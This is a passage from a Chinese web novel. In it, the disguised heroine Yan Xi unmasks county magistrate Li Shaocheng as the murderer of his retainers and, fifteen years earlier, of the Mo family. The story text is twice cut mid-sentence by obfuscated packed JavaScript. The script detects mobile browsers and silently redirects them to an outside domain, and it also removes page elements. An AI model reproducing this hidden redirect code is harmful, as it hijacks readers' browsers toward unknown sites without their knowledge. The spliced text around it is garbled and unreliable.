晏熙看向众人,“我在查案的过程中,和……”晏熙顿了一下,“商公子一起试图推导出整个案发的过程,但其中有一点我们始终想不明白,那就是凶手是如何做到让明武明礼状如痴呆,点燃自己的。然而就在刚才,李县令自己把这一直缺失的一环补上了。” 商隐之补充道,“李县令,我们之前曾推断出凶手是用了硫黄,故而可以顺利点燃人体并且产生蓝色火焰,也正是因此才搜查了整个云娘店。但是我们从未将此事告知别人,你若不是凶手,又是如何得知的呢?” 李素织回怼到,“我爹的房间你们不是也查了?又看到硫黄吗?” 商隐之沉默一瞬,“李小姐,你刚才没有在场,李县令亲口说了,他现在没有硫黄了,我们在场的可是都听见了。” 晏熙看向李素织,“事实上,那天我并未搜查李县令的房间。他当时对我行贿,我顺水推舟便答应了下来,这也是为什么我开始怀疑李县令的原因,因为别人的房间里,什么都没有。” “不可能。”李素织反驳道,“我爹或许是送了你一些小礼物,但那只是出于他不喜欢别人乱动他的东西,他绝对不可能杀了明武明礼的。我爹一向拿明武明礼当养子看待,如何下得去手?” 李绍成也出言,“你布这么大个局,就是为了把明武明礼之死栽倒我头上吗?真是好笑,明武明礼是我的左膀右臂,这么多年跟着我出生入死,谁会相信我竟然亲手杀了他们?” 晏熙冷冷垂眸,“或许,正是因为这么多年明武明礼一直跟着你出生入死,你才要杀了他们。” 李绍成大笑出声,“荒唐,晏熙,你也不看看你在说什么。” 喜松上前一步,“大胆,你竟敢直呼晏公子的名讳。” 晏熙将喜松塞了回去,“无妨。‘藏鸟尽、弹弓藏、狡兔死、走狗烹。’这个道理,我想在场的众人应该都知道吧。明武明礼跟随你多年,自然也帮你干了不少脏事,那么多的秘密掌握在他们手中,以李县令你的生性多疑,怕是睡不安稳吧?而且,据我所知,这不是第一次,你李县令在的地方出现‘山魅杀人’事件了吧,你为何说自己从未听过山魅的传闻?” 晏熙掷地有声,“十五年前洛阳校书郎的那件案子,便是你带着明武明礼做的吧?” 23. 洛阳往事 春风得意,朗月入怀,鲜衣怒马并蒂郎。 十五年前,洛阳。 那一年李绍成顺利成为了洛阳崇文馆里的校书郎,与他一同来到的崇文馆的,是一位叫莫徐行的青年。 在此之前,李绍成一直忙于课业,年近三十还未曾娶妻,这位叫莫徐行的同僚与他年纪相仿,却已经有了一个七岁的女儿。 莫徐行见李绍成孤身一人,身边仅有几位侍从相伴,便时常邀请他一同去家中用膳。 莫徐行的妻子叫盛疏雨,出生商贾世家,与莫徐行青梅竹马,两小无猜,多年来相知相伴,举案齐眉。 莫徐行和盛疏雨的女儿叫做莫袭烟。她的母亲温婉贤淑,父亲沉稳谦虚,她却天性活泼好动,最喜爬上爬下,经常是莫徐行和盛疏雨一个不注意,她便不见了踪迹。 莫徐行和盛疏雨一般会纵容女儿在外面偷玩一会儿,若过了时间还没有回来,他们便会一同出去寻找。 离莫家不远的一片林子里有几只野猫,莫袭烟平日里最喜欢去那里逗猫,每次去时还要带点给猫吃的零嘴儿讨它们欢心。有时候那几只猫不搭理她,她便会爬到树上去找它们。 但若是不在林中,那定然便是去了坊间看说书先生讲故事。这个小鬼听说书先生讲故事也不安分,为了寻一个好的位置,往往早早便去等着了,但若是不慎去晚了,她便会爬到屋顶上偷偷拿开砖瓦听个仔细。 莫徐行和盛疏雨每次找她的时候,都习惯先往高处张望张望。 这日,莫徐行又叫了李绍成一起回家吃饭,李绍成刚到莫家坐下,便看见莫袭烟哭着抱着三只小猫崽跑回了家。 莫徐行和盛疏雨连忙问莫袭烟发生了什么,莫袭烟蹲下将小猫崽放在了地上,抹了一把眼泪委屈的告诉莫徐行和盛疏雨,“阿爹,阿娘,我刚才去林子里,发现不知道谁把阿宝给打死了。” 阿宝是一只狸猫,名字是莫袭烟起的,它之前一直生活在林子里,平时很是亲人,前不久才生下了这三只小猫。 那林中野猫不少,和附近居住的人家也都混熟了,这还是第一次有人做出此等恶行,实在令人发指。 跟在李绍成身边叫明武的少年不屑地冷哼一声,“一只猫崽子而已,这有什么好哭的,你要是喜欢啊,改天我和我弟弟明礼多给你弄几只回来。” 莫袭烟怒瞪着明武,“什么叫几只猫崽子而已?猫的命也是命啊。你不要给我抓,我不要,你若是把那猫抓了过来,它定然要与自己的亲人分离了。” 李绍成让明武滚出去在门口等着。“莫兄和盛夫人莫要怪罪,明武这孩子是我捡回来的,从前日子过得苦,没上过学,所以不会说话。他其实本意是想安慰莫小姐的,只不过说错了话,表错了意,倒惹得小姐不高兴了,还请二位千万要见谅。” 盛疏雨想带着莫袭烟出去看看阿宝还有救没有,被莫徐行给拦住了。“我带袭烟去吧,那场景定然不好看,我怕你看了做噩梦。” 盛疏雨嗔怪道,“我哪有那么娇气,我才不怕呢。” 莫徐行笑笑,“夫人说的对,是我自己害怕,才推己及人,我认错。” 话虽这么说,盛疏雨还是停下了脚步,让莫徐行带着莫袭烟去检查了阿宝。 阿宝的身上还残存着被人虐打过的痕迹。莫徐行确认阿宝已经气息全无,便和莫袭烟一起将阿宝埋了起来。莫徐行安慰难过的女儿,“不要伤心,死亡是这世间所有生灵都需要经历的一个过程,阿宝是,父亲和母亲也是,将来有一天,你也会经历,所以当那一天来临的时候,不需要难过。阿宝不会真正离开的,它会换一种方式,陪在它的三个孩子还有你的身边的。” 莫袭烟问莫徐行能不能把这些野猫都带回家,莫徐行摇了摇头,“恐怕不行。这些野猫自在惯了,你把它们拘起来,看似是保障了它们的安全,实际上却是破环了它们原有的生活。习惯了自由的猫是不会甘心停留在一个屋檐之下的。” 莫徐行牵起女儿的手带她回家,“不过你放心,明天我会在这里张贴上告示,禁止有人伤害野猫。” 莫袭烟抽噎着问父亲,“阿爹,为什么有人会伤害阿宝啊,阿宝只是一只小猫,它从来都不伤人的。” 莫徐行想了想,“也许,是有些人不知道怎样正确处理自己的情绪,所以便用小猫来发泄,以图让自己获得满足。所以,我们要做一个宽容豁达之人,努力让自己变强,勇敢地面对比自己强大的困难,而不是伤害比自己弱小的事物。” 莫徐行和莫袭烟离开后,盛疏雨看着三只嗷嗷待哺的小猫,给它们喂了点奶,然后让下人收拾出个篮子在里面铺上了厚厚的棉布后将它们三个放了进去。 莫袭烟看到已经被母亲安置好的三只小猫,开心地抱着篮子回到了自己的房间。 忙完这一切的莫徐行和盛疏雨才想起来家中还有客人,于是连忙为照顾不周向李绍成谢罪。 李绍成摆摆手表示无妨,“莫兄和夫人为了哄得孩子高兴便如此费心,小弟真是佩服。看到袭烟贤侄如此活泼可爱,我也甚是高兴啊。莫兄和盛夫人将孩子养得这般好,说起来,其实小弟也马上要有一个女儿了,到时候,还要向莫兄和盛夫人讨教经验才是。” 莫徐行和盛疏雨都惊讶地看向李绍成。自从他们来到洛阳,有意和李绍琛结亲的人不在少数,但李绍成对于此事一向态度模糊,他们从未听说过李绍成与哪家小姐定了下来,却不料李绍成居然有了女儿。 莫徐行斟酌再三,“绍成兄弟,你尚未娶亲,这女儿是哪里来的啊?” 李绍成意味深长地一笑,“实不相瞒,其实小弟这么多年没有娶亲,也不完全是为了学业。多年前小弟便属意于一人,只可惜那时我功业未成,只能眼睁睁看着她嫁给了别人。不久前她与那人和离,小弟现在也成了校书郎,于是便再度提及此事,幸得上天眷顾,此番小弟终于可以得偿所愿了。” 莫徐行和盛疏雨连忙举杯祝贺,“恭喜恭喜,这真是太好了。”李绍成将杯中之酒干尽,“到时候,莫兄和尊夫人可一定要来参加小弟的婚礼啊。”莫徐行和盛疏雨微笑着点头答应,“那是自然,到时候呀,我们一定要去看看让李校书郎苦等了这么多年的女子到底是个什么样的人。” 隔了几日,莫徐行在崇文馆听到有人私下议论,说李绍成要娶的女子,是当朝侍御史薛延礼的女儿薛蕙。 “这薛家啊,可是关中四姓之一,家里面能耐大着呢,李绍成一个刚刚当上校书郎的穷小子,能攀上薛家,那可是赚大了。”“可不是嘛,我道李绍成都快而立之年了为什么不娶妻,还以为他是有什么隐疾,却原来啊,人家早就有目标了。”“我听说啊,薛家原本是看不上李绍成的,不然他也不会软磨硬泡这么多年都没成功。这次他之所以能成为薛家的乘龙快婿,是因为那薛蕙还有一个垂髫之龄的女儿,李绍成另辟蹊径多次跑到薛家哄得那孩子认可了他,薛家这才同意了这门亲事。” “咳咳”莫徐行站在门口大声咳嗽两声,打断了那些人的议论声,然后走进屋内开始做起了自己的事。 李绍成大婚当日,莫徐行和盛疏雨送了李绍成与他的新婚夫人薛蕙一匹盛疏雨亲手织的布。薛蕙的父亲薛延礼看到那匹布,赞叹这是宫里也没有的手艺。 李绍成与薛延礼交换了一下眼神,心中便有了主意。 自从发生了阿宝的事情后,莫袭烟便常常跑到林子里查看剩下几只小猫的情况。每日去学堂之前要去看一眼,下了学堂也要先看了小猫安好才回家,做完先生布置的课业要去看一眼,晚上睡前更是要看一眼才放心。 冬日,趁着天气好,莫袭烟和父母白日里上了趟山,他们刚一到家,便天降大雪。莫徐行看着飞雪感叹他们好幸运,正好在雪下大前回来了,不然雪天不仅路滑,若要是大雪封了山,可就麻烦了。 不知何故,莫袭烟当天晚上做了个噩梦,被吓到惊醒。醒来后她便不记得到底梦到了什么,只记得听见了猫叫。家中的三只小猫已经长大,见莫袭烟醒来便围在她的身边一边嚎叫一边□□她。莫袭烟不知道为什么今夜它们如此躁动,梦里那种惊惧的感觉也迟迟未能散去,于是她决定再去看看那些林子里的小猫。 莫袭烟裹上衣服蹑手蹑脚地打开门跑了出去,路过莫徐行和盛疏雨的房间时,她看到他们正在熟睡。 莫袭烟花了点儿功夫,一一清点了林子里的小猫们,见它们全都安好,才稍安了点心。 等莫袭烟返回到家中时,她看见自己的父母正站在庭院里面。一开始她以为是莫徐行和盛疏雨发现她跑了出去,仔细一看,才发现他们都被绑了起来,李绍成坐在一旁,明武明礼则正在房间中四处翻找着什么。 莫袭烟打算跑进屋内问问到底发生了什么,却看见母亲对她摇了摇头,于是莫袭烟躲了起来。 盛疏雨的表情很痛苦,像是在极力忍耐着什么,而一旁的莫徐行则毫无反应。 盛疏雨质问李绍成,“自打徐行和你一同进入崇文馆,我夫妻二人可曾亏待过你?我和徐行拿你当至交好友,你想要什么我给你便是,你何至于如此对待我们?” 李绍成轻声一笑,“至交好友?你们为了一只猫便可以撇下我独自在桌前不管,这便是你们所谓的待我不薄?” 盛疏雨回想了一番才想起李绍成在说什么。“那日我二人并非故意撇下你不管,只是那几只小猫还未满月,失去了母猫的照顾根本无力自保,它们当时已经虚弱不堪,我和徐行只能先行照顾它们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明武摇了摇头,“报告老爷,她的床铺还热着,但人,我们没找到。”李绍成给了明武明礼一人一巴掌,“废物,连一个七八岁大的小孩都看不住。” 李绍成上前一步掐住盛疏雨的脖子,“说,莫袭烟呢?”盛疏雨一阵剧烈的咳嗽,“我不知道。”李绍成加大了力度,“不说我现在就掐死你。”盛疏雨咬着牙,“我说了我不知道。” 李绍成看向明武明礼,“去附近的林子里找找。”然后他又转向盛疏雨,“要是还找不到,就带着盛夫人一起去找。” 盛疏雨冷冷一笑,“不用这么费心,你现在就杀了我和徐行吧,袭烟比谁都清楚,她现在出来除了白白送死没有任何意义,只有她活着,才能替我们报仇。” 李绍成狠狠将盛疏雨一把推倒在地。 盛疏雨的话一句不落地落进了莫袭烟的耳朵,她躲在暗处一点声音都没敢出。 明武明礼果然没有在林子里找到莫袭烟,李绍成看了看时辰,只好先行作罢。“算了,等到明天,一切结束,全城的人都知道你们死了,到时候如果有人看见莫袭烟,我便让他们把人送到我府上来‘收养’。量她一个八岁娃娃,能翻出什么天来。” 盛疏雨恶狠狠地看向李绍成,“你休想。” 李绍成再一次拿出他的禁药,吹向了盛疏雨。一个响指过后,盛疏雨变得痴痴呆呆,李绍成下令让她和莫徐行一起口中念着‘阿紫’在附近转一圈,要确保被人看见。但仅仅片刻,她便又慢慢恢复了清明。 反复几次,李绍成都未能成功,他渐渐失去了耐性,看了看一旁的明武明礼,“你们两个,出来一个假扮她。” 明武明礼互相推拒,于是李绍成指定了明武。“穿上她的衣服,把你的身量缩一缩,被人看见就行,不要离得太近被发现了。” 假扮盛疏雨的明礼和莫徐行回来后,明武明礼在房子的各个角落撒上油脂和硫黄,然后一把火点燃。 为了确保莫徐行和盛疏雨没有一丝生还的机会,李绍成又捅了他们一人一刀,随后便带着明武明礼飞快撤离。 目睹了这一切的莫袭烟紧紧咬住自己的牙齿,等到李绍成等人走远,她冲进火海准备救出自己的父母,已经奄奄一息的盛疏雨用尽力气对着莫袭烟笑了笑,母亲对她说,“活下去。” 莫袭烟含着泪离开,她转身只看了蓝色的大火。 第二天,校书郎一家得罪山魅阿紫招来报复的流言传遍了整座洛阳城。大家都哀叹不已,为此感到恐惧和惋惜。 李绍成派人在全城搜索莫袭烟的下落,却一无所获。后来,李绍成把自己从莫家找到的布匹上贡,再加上薛延礼的助力,没过多久,他便一跃成为了县令。 在离开洛阳后,李绍成渐渐忘了,还有一个孩子,他没有找到。 24. 一夜波澜 卧看落月横千丈,起唤清风得半帆。① 往事在李绍成的脑海中如走马灯似的一一闪过,他紧紧地盯着晏熙,“你到底是谁?”他一步步靠近晏熙,“当年的那些事情,你是如何得知的?” 晏熙正色朗声道,“我已飞鸽传书,查明你李县令就是当初和一家被火烧死的莫徐行校书郎同时进入崇文馆的另一位校书郎。当年人人都赞你二人是双壁交辉,听说你与那姓莫的校书郎私交甚好,怎么这全洛阳都知道的大事,你竟然不知?” “而且,那位姓莫的校书郎一家出事之后没多久,你很快便直升县令,凭借的恰恰是只有那位莫姓校书郎的娘子才会织的浮光锦。知道了这些,剩下的事情便不难猜了吧?” 李素织看向晏熙,“你究竟是什么时候开始盯上我父亲的?这云娘店这么多人,你为何只怀疑他?” 晏熙轻轻一笑。 “首先,那日明武明礼一来到云娘店,便惹得众人不快,但是和明武明礼最直接发生冲突的只有两人,其中一人是契苾月姑娘,另一人则是被他故意推到受伤的阿信。” “阿信虽然为此感到难过,但既然做了店小二,遇到不讲理的客人便是常有之事,他早已习惯。他生性平和,习惯了忍让,以明武明礼的身量,阿信断然不会有其他的想法。再者,云娘于他有恩,他在这云娘店也已经待了五六年,对这里的一切都已经有了感情,他是不会在这里用这种鬼魅传说来杀人的。更何况,在此之前,他根本就不知道所谓的‘山魅阿紫’。” “至于另一位契苾月姑娘,她虽然知道山魅传说,但是较之阿信,她更不会在这里杀人。”晏熙看了一眼契苾月,“对于月姑娘而言,她很清楚地知道这间云娘店,是云娘和师先生以及其他几位店员后半辈子的所依,所以她绝对不会拿这间店去冒险,将他们和这里的其他客人置于险境。恨或许是有,但是杀人这件事,绝无可能发生在契苾月姑娘身上。” “至于云娘,她竭力主张山魅作祟乃是无奈之举。她既然看到了明武明礼遇害时的景象,自然无法视而不见。为了维持云娘店的稳定,也为了保全云娘店中的所有人,即使心存疑虑,也只能推说山魅。” 晏熙讲出了契苾月和苏云碧不可能是凶手的理由,但是帮她们瞒下了当年的事情。 “云娘店剩下的人中,丁文元丁大厨自然不可能作案,我们已经多番验证过,他确实如自己所言,晚上睡着之后便无论如何也醒不过来,这一点,想必那天晚上大家也都已经看到了。而师玄温师先生年事已高,他平时走个路都会发出巨大的声音,根本不可能做到悄无声息地潜入明武明礼的房间并且和他们二人对抗。而至于顺平,他和阿信一样,见多了明武明礼这种人,同时哪怕是出于对云娘的感激,也不会在云娘店动手。” “所以我们断定,凶手不会是云娘店中之人,那么剩下的便是来此借住的客人。” 晏熙轻轻叹了口气,“其实一开始,谁都不会想到,凶手是李县令,所以起初我虽然先行询问了你们,却并未对你们产生过怀疑。” 晏熙每提到一个名字,便会从他们脸上扫过。“我首先怀疑的其实是张大虎张大哥、齐怀章齐生、还有杨远杨公子以及商公子。”说到商隐之的时候,晏熙移开了眼睛。 “但是商公子坦坦荡荡不似作伪,且他与明武明礼并无实际的摩擦,他根本没有理由去杀害明武明礼。再加之商公子有一定的破案经验,于是我便让他来协助我破案,在其间我也仔细观察过,断定商公子和喜松不会是凶手。” “而根据我对张大哥的观察,他本人生性忠厚耿直,做事喜欢单刀直入,所以这般麻烦造作之事,装神弄鬼之事,不会是他所为。他虽然嘴上说了一堆关于山中禁忌之事,但实际上,正是因为他这么多年对鬼神的敬畏,所以他绝对不可能假借鬼神之名来行不义之事,他害怕自己会遭到反噬。” “至于齐生,一开始得知当年之事后,我觉得此事不论放在谁身上恐怕都难以释怀,而齐生仅仅下了点泻药便算了结,实难相信。但后来我仔细思索了一番,其实齐生不是释怀,而是失望。他是对着世间的所有人都感到失望,所以这么多年才屡屡考试不中,因为他根本就不想考中。而且他来到这晋桑县时间已久,若是为报复李县令而来,怕是早就该有所行动,而不是就这么平白在云娘店等着某一日李县令自己送上门来。万一李县令这辈子都不来这云娘店呢,他难道就这么等一辈子吗?所以我相信他所言皆真。” “而至于杨公子,我一开始很奇怪他为什么要出现在这里,后来弄清楚了他的意中人是谁,我便明白了他此番的用意。” 晏熙说着走到了李素织面前,紧紧盯着她,“但是一个新的问题随即产生了,那就是明武明礼曾当面嘲讽威胁杨公子,李县令更是他与你不能在一起最大的阻碍,他用情至深,会不会为了和你在一起而动了杀机?可是后来再仔细一想,明武明礼出事的晚上杨公子都曾醉到不省人事,若他可以在这样的情况下完成这一系列行动而不被任何人发现,那估计李县令也不会阻止他与你之间的交往了。更何况,杨公子是明事理之人,他很清楚的知道他若是动了你身边的人,伤害了你的父亲,那么你与他之间便再无可能,所以他哪怕自己再痛苦,也不会做出这种事情,所以无论怎么想,凶手都不应该是他。” 晏熙看了一眼李绍成,“在今天之前,我与商公子推断,按照凶手的行凶过程,他首先应当至少是迷晕了明武和明礼,然后潜入了他们的房间,唤醒其中一人,在对方衣服上涂抹上硫黄与易燃物,接着控制其心神,让他自己走到后院点燃自己,凶手则趁这段时间回到自己的房中,等到火焰燃起时假装被吵醒和大家一同观看那凄惨瘆人的一幕。” “要做到这些,就要求首先凶手的手中要有迷药和硫黄,还要轻功极好,才能在整个过程中不被人发觉。当然,凶手应该是有经验的,因为案发现场没有留下任何有用的痕迹。” “谁脸上也没写着自己曾经有过假借山魅之名行凶的经验,我观店中众人,也未曾发现谁的脚步轻盈,有着绝世的轻功,所以此人显然很善于隐藏,但是迷药和硫黄是藏不了的。这云岫山上并没有可以采集硫黄的地方,所以这些东西定然是凶手提前准备好的。可是,这里有谁能在之前就知道了明武明礼要来这里呢?” 晏熙似笑非笑地看向李素织和李绍成,“所以我不得不把目光放在了你们的身上。” “秋琴虽对明武明礼的野蛮行径并不是全无怨言,却忠心老实,平时乖顺惯了,且她的母亲还在生病吃药,药是你给的,所以她断然不会私自做出这种事情,而且我猜,也是出于同样的理由,她才来我的房中寻找册子的吧。” 晏熙看了一眼秋琴,秋琴立刻跪倒在地,“晏大人,求您原谅秋琴,秋琴真的是迫于无奈才偷了您的东西的,您就原谅我吧。” 晏熙走过去将秋琴扶了起来,“我知道。真正应该对此事负责的,是胁迫你的那个人。” 晏熙继续说道,“杜仲和秋琴是同样的道理,他虽然对明武明礼心存不满,但无论是出于对主人的顺从还是自己的胆怯,都不会去真正下手的。” “比起这两个人微言轻的小侍从,根据我的调查和观察,王嗣虽然表面对明武明礼以礼相待,但明武明礼却依仗着背后有李县令的支持,从来不把王嗣放在眼中,对于王嗣的示好更是当作一种对他们的讨好,所以王嗣对他二人颇有怨言,实际上,王嗣对李县令也心有不满吧?且他来到云娘店的时间比其他人都早,有足够的时间可以提前观察地形做好准备,可问题是,王嗣一向明哲保身,他这种人是不会贸然冒险的。就看他对待李县令的态度,便知他心中有再多愤懑,也只会忍下去。毕竟他私下与李县令有着诸多密切的合作,若是出了问题定然会一损俱损,所以他不会因此就和李县令撕破脸皮的。” 晏熙转回李素织面前,“如此一圈排查下来,有嫌疑的人便只剩下了李小姐你本人和李县令。李小姐你或许有能力做出这样的事情,但我不觉得你有过做此类事情的经验,第一次作案很难不留下线索,而且,明武明礼实际上待你倒还算客气,所以你其实没有什么要动手的理由,所以在你和李县令之中,我选择了怀疑你的父亲。” “李小姐你对此还有什么疑问吗?” 李素织点了点头,“说的不错,晏公子将这里每一个人都分析的如此清楚明了,那我想问一问,你本人呢?难道因为你是黜陟使,便全无可疑之处了吗?”李素织看向晏熙,“还有,我竟不知,咱们的黜陟使大人什么时候变成了一位女子。” 晏熙瞳孔一震。 李素织此言虽然语出惊人,但在场众人的反应却并没有晏熙想象中的强烈。 苏云碧和契苾月早就已经向晏熙挑明了此事,阅人无数的师玄温也早就看了出来只是从未声张,张大虎更是凭借着猎人的本能第一眼就知道了她其实是女子,齐怀章、丁文元、阿信、顺平见多了人性,也早就猜到了七七八八。 杨远当场跳了起来,“什么,你是女的?你怎么会是女的?这么长时间我居然没看出来,当初还和你争风吃味来着,晏公子,不晏小姐,你真够可以的。”杨远绕着晏熙转了一圈,仔细观察着她的脸,“难怪你睡觉都要穿这么厚。我原以为你只是长得清秀喜欢干净而已,你确定你真的是女子吗?”他试探性地想伸手去戳一戳晏熙的脸,被商隐之一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516320|186232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴掌拍了下去。 喜松一脸不明所以地打量了一番晏熙,然后疑惑地询问商隐之,“公,公子,李小姐在说谁啊?”喜松没有听到回答,一抬头,他家公子脸上是一副谜一样的表情,既惊讶又意外,既喜悦又羞涩。 看得出来,他家公子也不是很清楚到底怎么回事。 师玄温拍了拍喜松这个傻小子,“当然是晏大人啊,你每天在她身边打转,居然没看出来吗?” 呆愣了半晌之后的商隐之轻轻开口,“她说的,是真的吗?” 晏熙深吸了一口气,“是。”她原以为自己伪装的天衣无缝,却没想到原来这么多人早就已经猜到,只不过配合着她一直没有说出口罢了。 李绍成冲着晏熙扑了过来,却被旁人拦住,他伸长了手臂挥舞着想要抓住晏熙,“说,你到底是谁?如此陷害我究竟有什么阴谋?” 晏熙释然一笑,“既然如此,我便也不再隐瞒诸位了,我确实假冒了黜陟使大人。我是一个女子,正是李县令口中的游侠‘一夕烟’。” “在来此之前,我曾探听到有一位黜陟使大人马上要来晋桑县巡查,而晋桑县的李县令这些年草菅人命,行贿受贿,手下的冤假错案不计其数,为了能顺利度过此次巡查,他决定提前来到黜陟使大人的必经之路上假装与其偶遇,届时他会携带大量的财宝以及自己的女儿。” “我想得到那些财宝,于是提前做了准备。我一共做了两个计划,一个是假造了册子打算假冒黜陟使骗走财宝,另一个是直接偷走所有的财宝。但是李县令上山那天我发现大雪封山,真正的黜陟使被挡在了山下还没有上来。于是我便顺理成章的冒冲了黜陟使,在查案的过程中从李县令和王嗣的手中拿走了不少好处。” 李绍成大笑出声,“我就说,真正的黜陟使怎么可能在查案时像你那般草包。你可知道冒充朝廷命官是要被砍头的。你想把这桩祸事栽赃在我的头上,到头来,却是你先要掉脑袋喽。” “是吗?”商隐之上前一步,借着袖子的遮挡握了握晏熙的手让她安心。“可若是她的所作所为皆是在真正的黜陟使的授意之下呢?” 李绍成和李素织脸色骤变,李绍成眼睛里似有一股火焰,“你什么意思?” 商隐之伸出手,喜松把真正的册子放在了他的手中。商隐之举起册子,让众人检查确定是真的无误。“这一路巡查过来,沿途有不少官员私下向本官行贿,企图破坏朝政的安稳与公平,故而我安排了晏小姐先行假借我的名义试探各位官员,我则隐藏在其后收集证据待日后回禀圣上。” “晏小姐既然是为财宝而来,李县令已经将财宝送到了她的手中,她又何必多此一举再杀两个人呢?更何况,她的一切行动都是在本官的授意之下。” “对此,在场诸位还有疑问吗?” 刚才知道晏熙其实是女子的众人没有多大反应,此刻倒是一个接一个张大了嘴巴,半天说不出来话。 晏熙一回头,撞进了商隐之的眼睛里。不合时宜地,晏熙从那眼神中品出了几分温柔与几分怨怼,然后脸颊泛出了红。 晏熙小声道,“我早看出你来路不凡,我应该想到的。干嘛骗我这么久。” 商隐之附近晏熙的耳朵,握着她的手用了点力,“明明是你骗得我好苦。” 被李素织当众点出身份的那一刻,晏熙以为自己这次难逃一劫。此刻峰回路转,晏熙安了心,卸下了力,于是轻轻倚靠住了商隐之。商隐之悄然上前一步,让她靠得更安稳一些。 李绍成嗤笑一声,“原来,你们早就算计好了是不是?你们从一开就谋划好要馅害我是不是?明武明礼不是我杀的,我不会承认的。” 商隐之一边悄悄支撑着晏熙,一边冷冷地看着李绍成,“根据本官多日的调查,李县令假借山魅一说谋害自己亲信明武明礼之事证据确凿,当与十五年前莫徐行校书郎一家之事并案调查。同时,本官还掌握了李县令私自经商以及行贿受贿的证据,这十五年来李县令所经手过的所有事件本官都将一一调查。现在,将李县令带到明武明礼的房间看管起来,没有本官的同意,谁都不许见他,更不许与他传话。” “商人王嗣,明知官员不得从商,却知法犯法为李绍成等人打掩护,还行行贿受贿之事,一同关押。” 张大虎和丁文元等人帮忙把李绍成押入了明武明礼的房间,晏熙帮忙检查了一下房间,临走时,趁着众人不注意,她悄悄靠近李绍成,“你不觉得,‘一夕烟’这个名字很耳熟吗?” 李绍成瞬间想到了什么。 一夕烟,莫袭烟。 李绍成疯狂拍打着房门,“素织,素织呢,我要见素织,我有话要告诉她。” 25. 大梦将醒 机关用尽徒劳心,水月镜花一场空。 商隐之跟着晏熙从距离云娘店不远处的一个山洞里捡回了福砚。 晏熙原本不想带着福砚一起来走这一趟的,这一次太危险了。但是福砚执意相随,晏熙拗不过她这才勉强答应。她与福砚约定,到了最终的那一日,让福砚一定要做到先行离开。如果事情顺利,她便会来找福砚回去,如若遇到了意外,则让福砚自己逃生。 她在柜坊中存着一些银两物件,福砚可以拿走那些东西去自由自在的过自己想要的生活。 商隐之难过的看向晏熙,“你把一切都安排好了,连后路都给福砚安排的这么妥当,那你可曾想过,如果你发生了什么意外,我要怎么办?” 晏熙一时不知该作何回答,“我,来之前,没想过会遇到你。” 商隐之生气地紧紧握住晏熙的手,“那金银有什么好的呀,都是身外之外,你想要我有的可以都给你,你至于冒着砍头的大罪就为了得到那点东西吗?” 晏熙回扣住商隐之的手,还轻轻挠了挠他的掌心,“我那不是要分给那些穷人嘛。他们跟你这样的大少爷可不一样,一块铜板他们能花很久,平时饿了舍不得吃,冻了舍不得穿,马上要过年了,我若是能额外给他们多分一些,他们便能好过一些。” 商隐之被晏熙挠的没了脾气。 自从离开云娘店后,福砚便一直躲在晏熙提前安排好的山洞里紧紧盯着云娘店的动向,直到看见晏熙和商隐之的身影,她才从山洞中冲出来扑进了晏熙的怀抱。 福砚紧紧握住晏熙的衣服,嚎啕大哭,“公子,太好了,你来接我了。”晏熙抱着福砚安慰,“好了好了,不哭了。” 商隐之挑了挑眉,把抱作一团的晏熙和福砚分开。他看着哭成泪人的福砚,对她说道,“是小姐吧。” 福砚一时间忘了哭泣,她看了看商隐之,又看了晏熙,“这,你都知道了?”晏熙点了点头,商隐之敲了敲福砚的小脑袋,“你们两个合起伙来骗了我这么久,回去以后再收拾你。” 福砚双手叉腰,“你都说了是我们两个骗了你,你怎么不说要收拾熙姐姐?商公子,你该,不会是不敢吧?” 商隐之看了一眼晏熙,对方和福砚两个人用一模一样的带着小小的挑衅的表情看着自己,商隐之只好无奈一笑,“算了,怕了你们两个了。不过,福砚啊,以后你就不要再有事没事抱一抱你的熙姐姐。” 福砚立刻就急了,“为什么呀,你凭什么不让我抱我的熙姐姐。” 商隐之无奈,“虽然你还是个半大不小的孩子,但,男女有别,你还是应该注意一点。”商隐之轻轻撞了撞晏熙的肩膀,“你也真是的,孩子都这么大了,也不给他讲讲这方面的常识。” 福砚“蹬蹬蹬”上前一步,站到了商隐之和晏熙中间,“你才是男的,你才要离我熙姐姐远一点。” 商隐之反应了片刻,眼角抽动了两下,“你,也是女孩子?” 福砚点了点头,“现在你知道到底谁才是那个需要远离我熙姐姐的男人了吗?” 商隐之又挤进了福砚和晏熙中间,还牵住了晏熙的手。“我不一样。” 福砚用力的想要将商隐之和晏熙的手分开,“有什么不一样的,熙姐姐同意你牵她的手里吗?你这是在耍流氓。” 这两个人幼稚地争执不休,晏熙无奈地叹了口气,“二位,商量一下,要不你们回去再吵?” 晏熙向福砚伸出另一只手,商隐之把晏熙身上披着的厚厚的披袄又给她裹了裹,福砚拿起自己的包裹交到商隐之空着的另一只手里,三个人手牵着手一起回了云娘店。 商隐之跟着晏熙一直走到了她的房间门口,晏熙动作飞快地关起门只留下一条脑袋宽的缝隙,“商公子,男女有别,我要回房休息了,你跟着我干嘛?” 商隐之无奈一笑,这姐妹二人简直是一个模子里刻出来。“我不做什么,我有话想问问你。” 晏熙佯装疲惫,“可是现在已经很晚了,商公子,我好累啊。” 这人明明在关门前还是一副神采奕奕的样子。商隐之看了对方一眼,无奈妥协,“好吧,那你休息,我明日再来找你。” 商隐之回到自己的房间,仰面平躺,不自觉在寂静的深夜里独自笑出了声。 第二日一早,丁文元一走进厨房便看到商隐之一扫之前的闷闷不乐,一脸容光焕发地一边哼着小曲一边蒸煮炖汤。 丁文元故意调侃,“哟,这是谁啊,我记得前几日的商公子可不是这个样子啊。” 